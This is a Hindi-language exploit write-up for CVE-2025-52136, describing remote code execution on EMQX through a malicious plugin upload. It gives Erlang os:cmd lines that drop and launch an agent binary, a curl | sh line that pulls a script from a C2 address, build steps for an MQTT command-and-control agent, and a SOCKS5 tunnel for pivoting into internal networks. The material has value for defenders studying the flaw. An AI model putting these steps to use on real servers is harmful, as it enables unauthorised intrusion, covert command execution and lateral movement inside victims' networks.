
CVE-2025-52136 के लिए एक्सप्लॉइट जो प्लगइन अपलोड के माध्यम से EMQX कंट्रोल पैनल पर RCE सक्षम करता है, जिसमें MQTT-आधारित कमांड एजेंट और आउट-ऑफ-बैंड C2 तथा नेटवर्क पिवोटिंग के लिए SOCKS5 टनल शामिल है।
https://github.com/ricardojoserf/emqx-RCE
मूल शोषण विधि EMQX प्लगइन अपलोड करके, प्लगइन टेम्पलेट के कोड में Erlang os मॉड्यूल जोड़कर सिस्टम कमांड निष्पादित करके RCE प्राप्त करती है
आउटबाउंड नेटवर्क वातावरण में, पर्यावरण में डिफ़ॉल्ट रूप से curl मौजूद है, सीधे curl http://xx.xx.xx.xx/1.sh | sh के माध्यम से C2 से जुड़ा जा सकता है
जब लक्ष्य आउटबाउंड नेटवर्क का समर्थन नहीं करता है, क्योंकि EMQX स्वयं एक MQTT संदेश सर्वर है, इसलिए सीधे प्लगइन अपलोड के साथ संयोजन करके, EMQX सर्वर पर अपलोड किए गए निष्पादन योग्य प्रोग्राम को चलाया जा सकता है EMQX को MQTT संदेश कतार कोर के रूप में उपयोग करके, तैनात प्रोग्राम सीधे एक "सिस्टम कमांड प्रॉक्सी" के रूप में कार्य करता है, क्लाइंट द्वारा भेजे गए कमांड की सदस्यता लेता है, और फिर निष्पादन परिणाम को विषय पर प्रकाशित करता है।
+-------------+
| क्लाइंट |
| कमांड संदेश भेजें |
| विषय: rx/cmd |
+------+-------+
|
MQTT Broker (EMQX)
|
+------+-------+
| कमांड प्रॉक्सी प्रोग्राम |
| rx/cmd की सदस्यता लें |
| सिस्टम कमांड निष्पादित करें |
| tx/cmd प्रकाशित करें |
+--------------+
go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go
फिर मूल लेखक की शोषण विधि का उपयोग करते हुए, my_emqx_plugin.erl में तीन पंक्तियाँ जोड़ें
os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
os:cmd("chmod +x /tmp/mqtt_agent"),
os:cmd("bash -c \"/tmp/mqtt_agent\""),
प्लगइन संकलित करने के बाद, किसी भी संपीड़न उपकरण का उपयोग करके mqtt_agent को my_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\ निर्देशिका में रखें

प्लगइन अपलोड करें

फिर क्लाइंट पर tx/cmd में सदस्यता जोड़ें, विषय rx/cmd होगा, और यह उपयोग के लिए तैयार है

इसी तरह, MQTT के माध्यम से Client ↔ Agent के बीच एक टनल खोला जा सकता है, और TCP डेटा को MQTT के माध्यम से द्विदिश रूप से आंतरिक नेटवर्क Agent तक अग्रेषित किया जा सकता है, फिर Agent आंतरिक नेटवर्क के लक्ष्य होस्ट से कनेक्ट होकर आंतरिक नेटवर्क पैठ का उपयोग कर सकता है।
इस योजना में कुछ कमियाँ हैं:
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid
go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go
उपयोग विधि उपरोक्त RCE प्रक्रिया के समान है, यहाँ सीधे स्थानीय पोर्ट का उपयोग करके socks5 टनल के रूप में ट्रैफ़िक अग्रेषित किया जाता है
प्रॉक्सी टनल स्वयं संकलित करके उपयोग करें
यह उपकरण केवल अधिकृत वातावरण/परीक्षण वातावरण में उपयोग के लिए है, अवैध उपयोग सख्त वर्जित है